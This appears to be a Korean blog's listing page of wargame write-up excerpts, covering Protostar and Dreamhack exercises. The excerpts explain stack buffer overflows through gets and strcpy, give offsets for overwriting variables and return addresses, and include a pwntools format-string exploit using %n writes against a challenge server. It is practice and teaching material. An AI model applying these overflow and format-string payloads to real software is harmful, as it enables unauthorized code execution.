목록wargame (207)
ret을 win주소로 덮는다. buffer 64byte에 sfp 8byte를 더한 곳이 ret의 위치이다.
gets함수를 이용해 bof를 일으킨다. fp의 주소를 win주소로 바꿔주도록 한다. fp : rbp-0x8 buffer : rbp-0x50 0x50 - 0x8 = dec(72) win 주소 : 0x401142 성공
사진 화질이 구리게 나왔다. 환경 변수를 통한 공격 문제이다. 0x50 - 0xc = dec(68) export GREENIE=$(python -c 'print "a"*68 + “\x0d\x0a + ”\x0d\x0a“') 로 환경변수 설정을 해주었다. 값이 잘들어갔다.
https://dreamhack.io/wargame/challenges/9/
이번에는 modified를 0x61626364로 만들면 끝남 strcpy는 메모리를 초과해서 복사할 수 있기에 취약 함수임 rdi가 buffer rsi가 argv[1] 즉 buffer : [rbp-0x50] modified : [rbp-0x4] dummy * 76 + \x64\x63\x62\x61 넣어주면 됨 리틀엔디안 방식으로 넣는 것을 잊지 말아야 함
이번에 올릴 워게임은 protostar 내 첫 워게임임 풀었던 기록이 남아 있길래 그냥 올려봄 옛날 기억 더듬는 거라 틀릴 수도 있음 #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } gets함수로 bof발생 변수 modified를 덮으면 끝남 buffer : [rbp-0x50] modified : [rbp-0x4] 0x50 - 0..
https://dreamhack.io/wargame/challenges/5/
https://dreamhack.io/wargame/challenges/4/ dec(34297) 0x10804 - 0x8609 = 0x81fb -> dec(33275) exploit code from pwn import * p = remote("host1.dreamhack.games", 19427) code = '\x90'*4 +'\x24\xa0\x04\x08'+'\x90'*4+'\x26\xa0\x04\x08' code += "%34297d%n" + "%33275d%n" p.send(code) p.interactive() FSB가 처음에 이해가 안 가도 하다 보면 이해가 간다. 많이 풀어보도록 하자. FSB 공격 라이브러리가 있긴 한데 처음에 원리를 이해하기 위해 직접 해보도록 하자